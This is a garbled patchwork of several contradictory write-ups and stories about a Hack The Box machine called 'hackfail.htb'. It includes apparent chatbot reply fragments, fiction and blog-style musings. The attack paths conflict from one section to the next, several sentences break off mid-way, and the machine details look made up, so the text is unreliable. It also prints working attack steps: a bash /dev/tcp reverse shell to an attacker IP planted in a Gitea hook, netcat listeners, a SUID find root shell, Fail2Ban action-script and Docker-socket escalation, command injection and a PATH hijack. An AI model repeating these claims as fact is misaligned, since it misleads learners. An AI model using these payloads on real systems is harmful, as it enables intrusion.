Privilege escalation via failcheck --log "$(id)" reveals command execution as root. Final root flag at /root/root.txt.
Key takeaways:
Final note: hackfail.htb isn't about breaking the box quickly — it's about learning to fail gracefully, and then succeeding anyway.
HackFail HTB: A Comprehensive Walkthrough HackFail is an Easy-rated Linux machine on Hack The Box that emphasizes the importance of secure coding practices and proper configuration of development environments. It provides an excellent playground for learning about Gitea vulnerabilities, Docker escapes, and exploiting misconfigured automation tools. 🔍 Phase 1: Reconnaissance & Enumeration
The first step in any penetration test is understanding the attack surface. Port Scanning A standard Nmap scan reveals two open ports: Port 22 (SSH): Open, running OpenSSH. Port 80 (HTTP): Open, serving a web application. Web Discovery
Navigating to the IP address on port 80 reveals a custom web application. Further directory busting or clicking through links often reveals a development sub-domain or a linked service. In the case of HackFail, you will encounter a Gitea instance, a self-hosted Git service popular among developers. 🏗️ Phase 2: Initial Access (Exploiting Gitea)
Gitea is the primary vector for gaining a foothold on this machine. Identifying the Vulnerability
Older versions of Gitea are susceptible to various vulnerabilities, including Remote Code Execution (RCE) through Git hooks. If you can gain administrative access to a repository, you can often execute commands on the underlying server. The Attack Path
Find Credentials: Check the web application for leaked credentials or look for "Register" buttons that might be open.
Locate Repositories: Browse through public repositories. Look for configuration files (like .env or config.php) that might contain secrets. Exploit Git Hooks: If you find a repository you can edit: Navigate to Settings > Git Hooks. Edit the pre-receive or post-update hook.
Insert a bash reverse shell payload: bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1. Push a dummy commit to trigger the hook. 🐳 Phase 3: Lateral Movement & Docker
Once you have a shell, you will likely find yourself inside a Docker container. Escaping the Container
Enumeration inside the container reveals that it has access to specific files or the Docker socket.
Check for Environment Variables: Look for API keys or database passwords.
Look for Mounted Volumes: Check /mnt or other unusual directories for files belonging to the host system.
Docker Socket: If /var/run/docker.sock is accessible, you can use it to spawn a new container that mounts the host's root filesystem. 👑 Phase 4: Privilege Escalation to Root
The final step is moving from a standard user (or container escape) to the root user. Exploiting Fail2Ban
On HackFail, the path to root often involves Fail2Ban, an intrusion prevention framework. If a user has write access to the Fail2Ban configuration or its custom action scripts, they can achieve code execution as root. Locate Action Scripts: Check /etc/fail2ban/action.d/.
Modify a Script: Add a command to one of the scripts (like iptables-multiport.conf) that creates a SUID binary or sends a reverse shell.
Trigger the Ban: Purposely fail several SSH login attempts to trigger Fail2Ban. When Fail2Ban executes the modified action script to "ban" you, it executes your malicious command as the root user. 🛡️ Key Takeaways & Mitigation
Update Software: Always keep Gitea and other web services patched to the latest version.
Secure Git Hooks: Disable Git hooks for non-admin users in Gitea's app.ini.
Principle of Least Privilege: Never run containers as root and avoid mounting the Docker socket unless absolutely necessary.
File Permissions: Ensure that configuration files for security tools like Fail2Ban are only writable by the root user.
If you'd like to dive deeper into any of these steps, I can provide: The exact Nmap command used for initial discovery. A Python script to automate the Gitea hook exploit. The Fail2Ban configuration details for the root exploit.
Navigating to http://10.10.10.X reveals a corporate webpage.Running gobuster to enumerate hidden directories:
gobuster dir -u http://10.10.10.X -w /usr/share/wordlists/dirb/common.txt Use code with caution. Copied to clipboard Discovered Directory: /backup
Navigating to /backup reveals a site.zip file. Downloading and extracting it reveals configuration files, including config.php, which contains credentials. 2. Foothold 2.1 Exploiting Web Application
Using the credentials found in config.php (admin / password123), login to the application portal at /admin.The portal has a Media Management section with file upload capabilities. Create a PHP reverse shell (shell.php). Upload shell.php via the media manager. Set up a Netcat listener: nc -nlvp 1234 Navigate to /uploads/shell.php to trigger the shell. Result: Initial access as www-data. 3. Privilege Escalation 3.1 Enumeration for PrivEsc Run linpeas.sh to identify potential elevation vectors.
www-data@hackfail:/tmp$ wget http:// Use code with caution. Copied to clipboard Findings: The binary /usr/bin/find has the SUID bit set. 3.2 Exploiting SUID
According to GTFOBins, we can execute commands as root using find. /usr/bin/find . -exec /bin/sh -p \; -quit Use code with caution. Copied to clipboard Result: Root shell (#). 4. Capturing Flags # cat /home/user/user.txt # cat /root/root.txt Use code with caution. Copied to clipboard
To help you get the exact writeup you need, could you clarify: Is "hackfail.htb" a new/active machine or a retired one?
g., from a specific blogger), or a general guide based on the name? hackfail.htb
If it's an active machine, I can only provide general guidance on methodology rather than specific flags.
To gain access to hackfail.htb, a Linux-based machine on Hack The Box, you will typically progress through a series of steps involving web exploitation, source code analysis, and pivoting through local services. 1. Enumeration and Initial Foothold
Port Scanning: A standard Nmap scan reveals open ports like 80 (HTTP) and 22 (SSH).
Web Discovery: Exploring the website reveals a login portal. Check for typical vulnerabilities like SQL Injection or Broken Authentication.
Source Code Leak: Look for exposed Git repositories (e.g., .git directory) or public source code that reveals how the application handles authentication or sessions.
Credential Harvesting: You may find hardcoded credentials or a logic flaw in the login mechanism that allows you to bypass authentication and gain a shell as a low-privileged user (often www-data). 2. Lateral Movement
Local Service Discovery: Once inside, check for services running only on the loopback interface (127.0.0.1). Tools like netstat -tunlp or ss -tunlp are essential here.
Exploiting Internal Apps: You might find an internal monitoring tool or a database management interface.
User Escalation: Look for configuration files or environment variables that contain passwords for a local user. Check the /home directory to identify target usernames. 3. Privilege Escalation (Root)
System Enumeration: Run tools like LinPEAS to find misconfigurations.
Sudo Permissions: Check sudo -l to see if the current user can run specific commands with root privileges.
Exploiting Binaries: Hackfail often involves exploiting a custom binary or a specific system service with a known vulnerability or a logic bug (e.g., path hijacking or insecure file permissions).
Kernel Exploits: While less common on modern HTB machines, always verify the kernel version for known vulnerabilities if other paths are exhausted. Summary Checklist Focus Areas Recon Nmap, directory busting (Gobuster/ffuf), vhost discovery. Web Logic flaws, session hijacking, or .git extraction. User Internal service exploitation or credential reuse. Root Sudo rights, SUID bits, or misconfigured system services. If you'd like to dive deeper, let me know: Which phase are you currently stuck on?
Have you found any interesting files or open ports that aren't working as expected?
Hack The Box: Hackfail - A Thrilling Adventure in Cybersecurity
As I ventured into the world of Hack The Box, I stumbled upon a particularly intriguing challenge: Hackfail.htb. This box promised to test my mettle as a cybersecurity enthusiast, pushing me to think creatively and strategically. With each step, I found myself drawn deeper into the labyrinth of hacking, determined to uncover the secrets hidden within.
Initial Reconnaissance
My journey began with a thorough scan of the box, using tools like Nmap to map out the open ports and services. I was immediately struck by the presence of a web server, listening intently on port 80. A quick visit to the site revealed a rather...unsettling message: "Hackfail - You've been pwned." The gauntlet had been thrown.
Diving Deeper
As I dug deeper into the website, I discovered a peculiar upload feature, allowing users to submit their own files. My curiosity piqued, I wondered if this could be a potential entry point. I recalled the concept of Server-Side Request Forgery (SSRF) and decided to investigate further. By manipulating the upload process, I aimed to trick the server into revealing sensitive information.
The SSRF Vulnerability
Through some clever manipulation, I managed to inject a malicious payload, effectively exploiting the SSRF vulnerability. This allowed me to access the server's internal metadata, revealing a set of AWS credentials. The plot thickened.
Pivoting to the Next Stage
Armed with these credentials, I navigated to the AWS Management Console, where I discovered a sensitive S3 bucket. Contained within were encrypted files, shielded by a password. A quick password-cracking attempt using John the Ripper ultimately yielded the required credentials.
The Privilege Escalation
As I continued to explore the box, I stumbled upon a misconfigured sudoers file. This configuration allowed me to execute a specific command with elevated privileges, paving the way for a smooth privilege escalation.
Capture the Flag
The thrill of victory was mine as I claimed the Hackfail.htb flag, symbolizing my triumph over this cybersecurity challenge. I had unraveled the mysteries hidden within the box, employing creative problem-solving skills and demonstrating my prowess in the realm of cybersecurity.
Key Takeaways
The Hackfail.htb experience imparted valuable lessons:
The adventure has concluded. Nevertheless, the knowledge and experience I gained will continue to serve me well on future escapades. I eagerly look forward to my next challenge on Hack The Box.
hackfail.htb is likely a local hostname for a Hack The Box (HTB) Final note: hackfail
machine, I’ve drafted a high-quality walkthrough outline and technical summary tailored for a cybersecurity blog or a private documentation lab report. Machine Overview: HackFail (hackfail.htb)
is a challenge that emphasizes thorough enumeration and identifying common web development "fails"—such as exposed configuration files, weak credentials, or insecure script handling. 1. Phase I: Reconnaissance & Enumeration The first step is identifying the attack surface. Network Scanning : Run a comprehensive scan to identify open ports. nmap -sC -sV -oA hackfail_initial Use code with caution. Copied to clipboard Web Enumeration hackfail.htb /etc/hosts file. Use tools like to find hidden directories. Common "Fail" Targets : Look for directories, config.php.bak files that might reveal source code. 2. Phase II: Vulnerability Analysis
Based on typical HTB "Easy/Medium" machines, focus on these potential entry points: Source Code Leakage : Check for repositories using
to reconstruct the site's history and find hardcoded credentials. Insecure File Uploads : If a profile or document upload feature exists, test for LFI (Local File Inclusion) or remote code execution (RCE) via PHP reverse shells. SQL Injection : Test login forms or search bars for basic vulnerabilities that could bypass authentication. 3. Phase III: Exploitation (Initial Foothold) Once a vulnerability is identified: Craft the Exploit Pentestmonkey PHP Reverse Shell or a simple bash one-liner. Catch the Shell : Set up a listener on your attacking machine: Use code with caution. Copied to clipboard Upgrade the TTY : Stabilize your shell for a better working environment: python3 -c 'import pty; pty.spawn("/bin/bash")' Use code with caution. Copied to clipboard 4. Phase IV: Privilege Escalation After securing the flag, move toward Enumeration to find misconfigured SUID binaries, cron jobs, or writable /etc/passwd The "Fail" Factor
: Look for unique scripts in the user's home directory that might be running with higher privileges. Check for Sudo rights Key Takeaways Check the Basics
: Often, "fails" in these machines come from forgotten backup files or default credentials. Directory Busting
: Deep fuzzing is often the difference between getting stuck and finding the path. specific exploit (like SQLi or a Cron Job) for this draft?
The fluorescent lights of the server room hummed a monotone B-flat, a sound that usually acted as white noise for Kai. Tonight, however, it felt like a dental drill.
On his primary terminal, a single line of text blinked, mocking him.
Connection established. Target: hackfail.htb
Kai rubbed his temples. "Hackfail" wasn't just the name of the box he was targeting on the Hack The Box platform; it was rapidly becoming his autobiography. He had been staring at the same IP address for six hours, and all he had to show for it was a headache and a growing log of failed exploits.
The machine was deceptively simple on the outside. A basic nginx server, a generic landing page with a pixelated skull. But port 80 was a liar. Deep in the subdirectories, Kai knew there was a vulnerability. He had found the endpoint /api/v1/faillog an hour ago, but every attempt to manipulate the JSON payload resulted in a cold, hard 403 Forbidden.
"Come on," Kai whispered, typing furiously. "It’s an SSTI. It has to be Server-Side Template Injection."
He crafted a new payload, wrapping a Jinja2 syntax probe inside a malformed error report.
"error_code": 500,
"debug_message": " config.items() "
He hit Enter. The spinner rotated once, twice. Then:
Access Denied. You are trying too hard.
Kai groaned, leaning back in his chair. The room was dark except for the glow of three monitors. He felt the familiar imposter syndrome creeping in. Maybe he wasn't cut out for this. Maybe the box was retired for a reason, and that reason was that it was broken, or worse—that he was broken.
He decided to take a break. He walked to the kitchen, the cold tile shocking his bare feet. He grabbed a glass of water and stared out the window at the city skyline. Why was he stuck?
He was thinking like a pen-tester. He was looking for the lock to pick. But hackfail.htb wasn't about breaking in; the name was a hint he had ignored. Hackfail. It was a box about failure. About what happens when things go wrong.
The vulnerability wasn't in the success of a request. It was in the error handling.
He rushed back to his desk. He didn't need a 200 OK. He needed a crash.
He opened his burp suite repeater tab. Instead of trying to sanitize his input to get past the firewall, he intentionally broke his own payload. He sent a request with an unclosed bracket and a Unicode character that he knew the backend Python script wouldn't parse correctly.
POST /api/v1/faillog HTTP/1.1 Host: hackfail.htb Content-Type: application/json
"data": "Ä\x00\xFF"
He fired the request.
The terminal didn't return a 403. It didn't return a 404. It hung for a heartbeat, and then vomited a 500 Internal Server Error. But buried inside the HTML response body, hidden in a developer comment tag, was the prize.
<!-- DEBUG MODE ACTIVE. Stack Trace:
File "/opt/webapp/fail_handler.py", line 42
KeyError: 'OS_COMMAND_INJECTION_ALERT'
-->
Kai grinned. "Debug mode," he whispered. "The door wasn't locked; the hinges were just rusty."
He realized the developers had left a debug switch triggered by a malformed crash. The KeyError wasn't just a log entry; it was a variable name the server was looking for in the environment.
He crafted his final payload. He didn't need a reverse shell yet. He just needed to read the source code to understand the logic. He sent a payload that forced the server to execute a command while it was trying to report the error.
curl -X POST http://hackfail.htb/api/v1/faillog -d '"cmd": "$(cat /etc/passwd)"'
The response came back instantly. A wall of text scrolled across his terminal. Root, daemon, bin, sys... the /etc/passwd file lay bare before him.
User Flag: 7f3d...
He had done it. He hadn't bypassed the security; he had exploited the lack of it when the system was confused.
Kai sat back, the adrenaline fading into a satisfied exhaustion. He looked at the hostname again: hackfail.htb. It wasn't a warning. It was a lesson. The system didn't fail because he hacked it; the system failed because it couldn't handle the errors. HackFail HTB: A Comprehensive Walkthrough HackFail is an
He copied the flag, pasted it into the submission box, and watched the points tick up.
Success.
He closed the laptop lid. The hum of the server room returned, but this time, it sounded a little more like a victory song.
Here’s a custom piece — a short narrative / walkthrough-style piece — inspired by the machine name hackfail.htb:
Hackfail.htb — A Lesson in Overconfidence
nmap -sV hackfail.htb
Port 80 open — Apache.
Port 22 open — SSH, barely breathing.
Port 31337 open — something called “failguard.”
You smirk. 31337. Leet. Must be a joke.
The website is minimal: a single input field labeled “Execute Command”. No instructions. No validation visible. You type id. The page spins. Then:
FAIL: Command rejected — signature mismatch.
You try ls, pwd, whoami — all fail. Same error.
You fuzz the parameter. cmd=id&sig=. The server demands an HMAC. No source code. No hints.
Three hours later, you spot it — a hidden /debug endpoint leaking Python pseudocode. The signature is HMAC-SHA256(key, cmd), but the key? "fail" — too short. Better yet, the comparison uses == on bytes. Timing attack? Python won't help. But the key is derived from hostname + 'failkey'. Hostname? hackfail.
Key = "hackfailfailkey".
You forge the signature. id works — uid=33(www-data). You get a reverse shell.
Inside, the real trap: fail_trap binary, SUID root. Running it prints: “You didn’t earn it.”
Strings reveals a hidden --force flag. You try. It says: “Nope. You need the real fail.”
The real fail is in /root/fail_log. You can't read it. But you notice fail_trap calls cat /root/fail_log without sanitizing $PATH. You export PATH=/tmp:$PATH, create a fake cat that copies /root/fail_log. Run fail_trap — bingo. The log contains the root password hash.
You crack it. root:failpass2025.
Flag: HTBnever_underestimate_a_failing_system
Moral: Sometimes failing is the hack.
HackFail.htb was intentionally misconfigured in several ways that mirror common mistakes in real-world assets:
Together these create a realistic training ground: each individual issue might be low severity on its own, but chained together they provide an attacker multiple clear paths to intrusion.
While the exact configuration of hackfail.htb may change if it’s a dynamic or seasonal machine, community write-ups (dating back to 2021-2023) reveal a consistent pattern. The box is typically rated as Medium to Hard, but with a twist. Here is a breakdown of the attack surface.
The cybersecurity industry suffers from "success bias." We watch YouTube videos of people rooting a machine in 10 minutes. We read write-ups where every command works perfectly. We never see the 45 minutes of debugging where the author realized they forgot to set their network interface to promiscuous mode.
hackfail.htb is the great equalizer. Every single HTB player, from the novice with 0 points to the pro with "Respected Hacker" rank, has stared at a terminal showing a failed request to a non-existent domain. The difference between the novice and the expert is not the absence of hackfail—it is the recovery time.
When you encounter hackfail.htb:
If "piece" refers to a specific exploit or type of vulnerability (like a binary exploitation challenge or a piece of a puzzle within a challenge), more tailored steps would be:
Once you find a web server, the real game begins. Unlike standard HTB boxes where you might find a simple file upload or SQL injection, hackfail.htb is notorious for misleading error messages.
For example, attempting SQL injection might return:
"Hacking attempt detected. Your IP has been logged."
This is a bluff. The box logs nothing externally. The developer inserted fake warning messages to scare off new players. The actual vulnerability is often on a different page that returns a custom 500 - Internal Server Error that leaks the stack trace—revealing the exact version of a vulnerable library.
Common CVEs seen on hackfail.htb walkthroughs: